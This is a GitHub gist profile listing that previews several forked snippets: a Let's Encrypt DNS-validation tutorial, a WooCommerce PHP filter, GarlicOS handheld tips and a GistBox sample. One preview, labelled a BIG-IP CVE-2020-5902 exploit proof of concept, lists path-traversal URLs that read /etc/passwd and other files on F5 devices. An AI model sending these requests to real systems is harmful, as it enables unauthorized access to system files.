Skip to content

Instantly share code, notes, and snippets.

View technomancer702's full-sized avatar

Technomancer702 technomancer702

View GitHub Profile
@technomancer702
technomancer702 / tutorial.md
Created May 14, 2026 06:52 — forked from ioqy/tutorial.md
Free Let's Encrypt certificate without opening any ports

With this tutorial you will get a valid SSL certificate from Let's Encrypt without having to open any incoming ports. You can use the certificate to enable HTTPS with your reverse proxy (Apache, Nginx, Caddy, ...) or other self hosted service. Since it only uses acme.sh which is a shell script it should work on everything that runs linux.

The tutorial was written for and tested with Duck DNS and deSEC, but you can (in theory, because I did sadly encounter a few bugs/incompatibilities here and there) use every of the 150+ DNS provider supported by acme.sh (there is also a second page at the end!). If you want to use a wildcard certificate I would recommend deSEC because Duck DNS currently has a bug/incompatibility with acme.sh.

If you want to use another DNS provider you can skip right to 2. Install acme.sh, but need to change the parameter --dns YOURDNS in all the commands and set all necessary variables yourself according to t

###
Use shortcode [stock_filter] to add the filter to your product arhive/shop page
###
function add_out_of_stock_filter_checkbox() {
ob_start();
?>
<form method="get" id="stock-filter-form">
<label>
<input type="checkbox" name="in_stock" id="in_stock" <?php checked( isset($_GET['in_stock']) ); ?> />
@technomancer702
technomancer702 / garlic-os-tips.md
Created January 29, 2024 06:50 — forked from milnak/garlic-os-tips.md
My set of GarlicOS tips #rg35xx

Garlic OS Tips (Windows-based)

GarlicOS Cookbook

Follow these instructions for an easy way to get up and going quickly! These are complete instructions, and will be the easiest way to get started on a new RG35XX.

Set up SD Card

Get a high quality SD (e.g. SanDisk Extreme) card, 128GB or larger, 256GB is recommended. Don't skimp here, they're cheap, and don't use the card that comes with the RG35XX as it's crap.

@technomancer702
technomancer702 / CVE-2020-5902.md
Created July 6, 2020 01:59 — forked from cihanmehmet/CVE-2020-5902.md
BIGIP CVE-2020-5902 Exploit POC

๐Ÿ”ธ BIGIP CVE-2020-5902 Exploit POC ๐Ÿ‘€


https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
@technomancer702
technomancer702 / 0_reuse_code.js
Created August 3, 2016 22:42
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console